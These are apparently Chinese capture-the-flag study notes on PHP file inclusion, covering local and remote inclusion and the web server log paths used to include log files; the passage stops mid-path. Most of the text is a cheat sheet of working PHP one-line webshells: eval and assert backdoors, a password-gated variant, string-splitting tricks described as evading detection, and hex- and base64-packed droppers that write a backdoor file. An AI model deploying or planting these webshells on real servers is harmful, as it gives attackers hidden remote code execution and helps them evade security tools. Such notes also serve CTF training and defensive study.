WEB2
文件包含
将任何的php⽂件或者⾮php⽂件利⽤函数包含进php⽂件之后都会被当作php代码解析
PHP提供⼀些函数来进⾏各个⽂件之间的相互引⽤,并提供了⼀些协议⽤于读取或者写⼊⽂件
-
特殊文件包含:
include(' flag.php ')
包含 flag.php
⽂件
-
其他函数:include、require、include_once、require_once、 highlight_file、show_source、file_get_contents、fopen、file、readfile
#各种语言文件包含 #ASP ASPX PHP JSP Python Javaweb <c:import url="http://..."> <jsp:include page="head.jsp"/> <%@ include file="head.jsp"%> <?php include ('test.php') ?>
-
分类:
-
本地文件包含:通过浏览器包含web服务器上的⽂件,这种漏洞是因为浏览器包含 ⽂件时没有进⾏严格的过滤允许遍历⽬录的字符注⼊浏览器并执⾏
-
远程文件包含:就是允许攻击者包含⼀个远程的⽂件,⼀般是在远程服务器上预先设 置好的脚本。 此漏洞是因为浏览器对⽤户的输⼊没有进⾏检查,导致不同程度的信 息泄露、拒绝服务攻击 甚⾄在⽬标服务器上执⾏代码
-
1.包含一句话木马
将⼀句话写在⼀个⽂件中上传之后,在可以包含⽂件的php⻚⾯包含该⽂件,直接利⽤⼀句话
常见的一句话 eval
:用来执行任意php代码
<?php eval($_POST[1]); //1=system(ls); ?>
-
最常见木马:
<?php eval($_POS[1]); ?>
-
防爆破木马:
<?php substr(md5($_REQUEST[`x`]),28)=="6862"&&eval($_REQUEST["password"]) ?> x=myh0st
-
过狗一句话
<?php ($_=@$_GET[s]).@$_($_POST[hihack]) ?> //s=assert <?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]); ?>//将敏感函数通过.链接防止被检测
-
不用?的一句话
<script language="php">eval ($_POST[hihack]);</script>
-
不用eval的一句话
<?php assert($_POST[1]); ?>
-
变形一句话后门
<!--?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H *","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?--> pack:pack(string $format, mixed ...$values): string //将输入参数打包成 form at 格式的二进制字符串。 6c6f7374776f6c662e706870//lostwolf.php 3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e// <!--?php @fputs(fopen(base64_decode('bXloMHN0LnBocA=='),w),base64_decode ('PD9waHAgQGV2YWwoJF9QT1NUWydoaWhhY2snXSk7Pz4='));?-->
-
灭杀一句话
<!--?php $x="as"."se"."rt";$x($_POST["pass"]);?-->
2.直接包含敏感文件
鉴别题目所用服务器:
-
404页面:随便找⼀个不存在的⻚⾯显示出404之后,就可以看到服务器的类型
-
右键检查抓包
2.1包含日志文件
nginx服务器下⽇志⽂件的路径: /var/log/nginx/access.log /var/log/nginx/error.log
apache服务器下的⽇志⽂件路径: /etc/httpd/logs/access_log 或者 /var/log/httpd/access_log /var/log/apache2/error.log //错日志存放 自定义文件路径:/etc/apache2/apache2.conf //查找以 ErrorLog 开头的行
apache+win2003⽇志默认路径 D:\xampp\apache\logs\access.log D:\xampp\apache\logs\error.l